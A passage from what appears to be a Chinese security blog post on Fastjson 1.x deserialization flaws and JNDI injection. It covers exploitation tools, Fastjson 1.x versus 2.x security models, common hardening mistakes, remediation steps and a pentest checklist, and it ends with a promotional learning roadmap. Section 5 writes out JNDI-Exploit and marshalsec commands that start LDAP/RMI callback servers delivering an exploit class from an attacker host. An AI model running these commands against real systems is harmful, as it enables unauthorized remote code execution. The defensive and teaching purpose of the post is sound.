JNDI payload 失效。所以内网环境高 JDK 版本老的 LDAP payload 打不通需要 TemplatesImpl 本地 Gadget 或者 CVE‑2026‑16723 无 gadget payload。Gadget 依赖条件CVE‑2022‑25845 类漏洞需要 classpath 存在对应的第三方 jar 包CVE‑2026‑16723 属于 Gadget‑Free不需要第三方 jar 包JDK 自带就可以攻击危害最大。五、实战利用工具完整介绍5.1 JNDI‑ExploitJNDI 注入工具最常用 Fastjson 老版本漏洞利用工具开启 LDAP/RMI 服务接收目标回连提供恶意类加载。使用示例java -jar JNDI‑Exploit‑1.2‑SNAPSHOT.jar -A 你的攻击机IP -P 1389 -C calc.exe适用场景目标可以外网回连JDK 版本较低。内网不能出网该工具无效。5.2 marshalsecmarshalsec 可以生成各类反序列化 payload启动 RMI/LDAP 服务。java -cp marshalsec‑all.jar marshalsec.jndi.LDAPRefServer http://攻击ip/#Exploit 1389适合安全研究者调试 Gadget 链。5.3 Fastjson‑scan 检测工具Burp 插件 / Java 工具发送不同版本 payload监听 LDAP 回连判断是否存在漏洞。重要提醒回连 DNS/ldap 才是有效证据仅仅看响应包报错不能判定漏洞。5.4 内网无回连场景怎么测试目标服务器不能访问外网无法回连 LDAP 服务器传统工具失效。测试思路使用 DNSLog构造 payload 触发 DNS 解析记录判断类是否加载成功使用 TemplatesImpl 本地 Gadget不依赖回连直接本地执行CVE‑2026‑16723 payloadgadget‑free 本地触发。真实渗透中大量内网业务服务器无法外网出网LDAP 类 payload 全部失效很多人到这里就无法继续测试。六、Fastjson 1.x VS Fastjson2 核心差异很多开发简单替换包名就迁移不清楚两者安全模型天差地别这里重点区分。6.1 Fastjson1.xcom.alibaba:fastjson安全机制黑名单 白名单模式autoTypeSupport 开关漏洞现状1.x 分支停止维护持续爆出绕过autoTypeSupportfalse 默认关闭但是依旧存在绕过风险存在 type 多态字段存在 SafeMode 模式作为兜底防护。6.2 Fastjson2com.alibaba.fastjson2:fastjson2完全重构安全模型没有黑名单机制采用显式白名单机制。默认完全关闭任意类自动加载不存在 1.x 那种不断绕过黑名单的问题。没有全局 autoTypeSupport 开关如果业务需要多态反序列化必须代码显式注册允许的类不会自动加载任意类。SafeMode 开启之后就算业务代码开启多态也全部禁止。不兼容 1.x 全部 API需要改造代码官方提供兼容依赖包但兼容包底层依旧是 1.x 不安全内核不要使用兼容包当做安全升级。非常大误区很多项目直接引入 fastjson‑v2 兼容包依赖底层依旧是 fastjson1.x漏洞完全保留没有任何防护效果。迁移必须完整修改 API使用原生 fastjson2而不是兼容桥接包。6.3 Fastjson2 也不是绝对安全Fastjson2 默认配置安全但如果开发者错误配置手动大量注册危险类业务依旧会出现反序列化风险。2.x 也爆出过少量漏洞但没有出现像 1.x 系列大量持续的 AutoType 绕过。七、高频防御误区生产环境踩坑重灾区这一章是全文重点大量网上流传错误加固手段很多项目做了配置依旧被攻破。误区 1升级到 1.2.83 就安全了❌错误1.2.83 是 Fastjson1.x 最终停止维护版本存在 CVE‑2026‑16723 高危漏洞autoType 默认关闭依旧可以 RCE。✅正确1.x 系列不要继续使用临时兜底升级 1.2.84 同时开启 SafeMode长期目标迁移 Fastjson2。误区 2设置autoTypeSupportfalse就高枕无忧❌错误无数历史漏洞就是 autoTypeSupportfalse 情况下的绕过关闭开关只是基础防护不是最终安全屏障黑名单模式本身有设计缺陷会不断出现新绕过。✅正确关闭 autoTypeSupport 只是第一步必须叠加 SafeMode尽量避免解析不受信任的 JSON 到 Object.class。误区 3配置黑名单可以防御所有漏洞❌错误黑名单只能拦截已知危险类第三方 Gadget、新挖掘的 JDK 内置类不在黑名单中攻击者持续发现新 Gadget黑名单永远补不完。✅正确黑名单是补救手段不能当做主防御方案。误区 4WAF 拦截 type 字符串就能防御 Fastjson 漏洞❌错误payload 可以编码变形绕过 WAF 关键字检测CVE‑2026‑16723 部分利用方式不一定依赖 type内网环境没有 WAF防护直接失效。✅正确WAF 只是边界辅助防护服务端代码层面加固才是根本。误区 5业务需要多态打开 autoTypeSupport配置白名单就万事大吉❌错误白名单配置容易出错配置父类会导致子类可被加载包名前缀配置书写错误第三方依赖新增类引入新风险。公网暴露业务尽量不要开启 autoTypeSupport。✅正确公网业务尽量避免使用 AutoType 多态功能如果业务强需求优先迁移 Fastjson2显式注册具体允许类。误区 6只拦截 HTTP 请求体Cookie、参数中 JSON 不做处理❌错误很多开发只过滤 POST body但是业务代码会把 Cookie、URL 参数的字符串直接交给JSON.parse()解析攻击者在这里传入恶意 JSON绕过 WAF。✅正确所有来源的外部输入只要进入 Fastjson 反序列化都要做安全管控。误区 7换成 fastjson 兼容包以为完成升级❌错误fastjson2 兼容桥接包底层依赖 fastjson1.x漏洞全部继承没有任何安全提升。✅正确迁移必须使用原生 fastjson2 包改造 API不能用兼容包糊弄。误区 8判断响应抛出 “autoType is not support”代表修复完成❌错误该异常仅仅代表这一个 payload 被拦截不代表不存在其他绕过 payload。✅正确漏洞修复要升级版本 开启 SafeMode完整测试多组不同 payload不能单看一个报错。八、项目自查方法开发 / 运维实操8.1 第一步确认项目 fastjson 版本Maven 项目查看 pom.xml也可以查找依赖树mvn dependency:tree | grep fastjsongroupIdcom.alibaba→ Fastjson1.xgroupIdcom.alibaba.fastjson2→ Fastjson2。注意很多间接依赖引入 fastjson项目 pom 没有直接写但是第三方框架间接引入版本依旧危险。需要检查完整依赖树。8.2 查找危险代码写法搜索代码中这些方法调用JSON.parse(外部可控字符串); JSON.parseObject(外部可控字符串); JSON.parseObject(str, Object.class);风险点外部输入直接解析为 Object.class允许触发多态逻辑。安全写法直接解析到确定业务 POJO 类避免解析为 Object。//安全明确指定POJO User user JSON.parseObject(jsonStr,User.class);8.3 检查 ParserConfig 全局配置是否手动开启 autoTypeSupporttrue公网业务尽量不要开启是否开启 SafeMode。九、完整修复加固方案分场景场景 1新项目开发直接使用Fastjson2不要选择 Fastjson1.x。Maven 依赖示例dependency groupIdcom.alibaba.fastjson2/groupId artifactIdfastjson2/artifactId version2.0.63/version /dependency业务需要多态反序列化显式注册允许的类不要自动加载任意类开启 SafeMode。场景 2老项目暂时无法迁移 Fastjson2Fastjson1.x⚠️这只是临时缓解方案1.x 官方停止维护后续还会出现新漏洞。升级到临时修复版本 1.2.84关闭 autoTypeSupport默认 false确认不要手动改为 true强制开启 SafeMode 全局安全模式最重要兜底//全局开启SafeMode推荐放在项目启动类 ParserConfig.getGlobalInstance().setSafeMode(true);JVM 启动参数方式也可以作为兜底‑Dfastjson.parser.safeModetrue开启 SafeMode 之后autoType 多态功能完全失效如果业务强依赖 AutoType 多态开启 SafeMode 会导致业务报错这种情况就必须迁移 Fastjson2不能继续使用 1.x。代码层面尽量避免把外部不可信 JSON 解析为Object.class优先指定固定 POJO 实体类。禁止把 Cookie、请求参数、表单原始字符串直接交给JSON.parse()反序列化。场景 3业务必须开启 AutoType 多态优先迁移 Fastjson2显式注册业务允许的类公网对外暴露接口尽量不要开启多态内网接口也要最小权限注册类Fastjson1.x 环境开启 SafeMode 会直接禁用 autoType无法同时使用这种情况代表 1.x 已经不适合你的业务。通用加固建议升级 JDK 版本缩小 JNDI 注入攻击面网络层面限制服务器外网出网减少 JNDI 回连攻击链路日志监控监控业务日志出现autoType is not support大量异常大概率正在遭受 Fastjson 漏洞攻击定期依赖扫描使用 maven‑dependency‑check 等工具扫描第三方组件漏洞。十、渗透测试 Fastjson 漏洞测试思路信息收集识别项目 Fastjson 版本确认是 1.x 还是 2.x寻找外部可控输入点输入完整 JSON 字符串后端交给 parse/parseObject构造 DNSLog payload触发 DNS 查询判断类加载是否成功区分报错autoType is not support属于拦截不等于漏洞内网环境无法回连 LDAP优先测试 gadget‑free payload注意间接依赖引入 Fastjson即使业务代码没有直接 import框架内部使用 Fastjson 同样存在风险不要只测试 HTTP Body同时测试 Cookie、请求参数传入 JSON 字符串漏洞证据需要完整可控输入点、回连 DNSLog/LDAP 记录不能仅仅依靠响应报错。提交 SRC 漏洞报告需要附上 payload、DNSlog 回连截图说明版本、利用条件区分 1.x/2.x。总结Fastjson1.x 反序列化漏洞不是单一漏洞而是一整个漏洞家族多年来攻击者与黑白名单校验机制持续博弈。漏洞核心来自 AutoTypetype 多态反序列化攻击者控制 JSON 输入加载危险 Gadget 类反射调用方法触发 RCE。版本认知1.2.24 裸奔1.2.25‑1.2.83 虽然默认关闭 autoTypeSupport但是存在大量绕过1.2.83 依旧存在 CVE‑2026‑16723 高危无第三方依赖 RCE1.x 已经停止维护。黑名单防御存在先天缺陷只能防御已知 Gadget无法对抗新挖掘 GadgetautoTypeSupportfalse不是铜墙铁壁SafeMode 才是 1.x 重要兜底。Fastjson2 重构安全架构摒弃黑名单模式采用显式注册白名单是长期安全选择切忌使用 1.x 兼容桥接包伪升级。大量防御误区WAF 拦截关键字、单纯升级到 1.2.83、只关闭 autoTypeSupport 都不能实现完整防护。开发层面尽量不要把不受控外部 JSON 解析为 Object.class公网业务尽量规避 AutoType 多态老项目临时加固必须开启 SafeMode长远迁移 Fastjson2。在护网、真实红蓝对抗中很多 WAF 可以拦截 SQL 注入、XSS但是 Fastjson 反序列化漏洞经常穿透边界防护内网大量老 Java 系统受影响理解版本差异和绕过原理才不会被各类 POC、网上错误加固方案误导。本文全部内容来自公开安全研究仅用于授权安全测试严禁未授权实际环境利用。最后网络安全需要学习那些知识网络安全零基础入门学习路线规划初级1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线视频配套资料国内外网安书籍、文档工具当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。一些我自己买的、其他平台白嫖不到的视频教程要学习网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】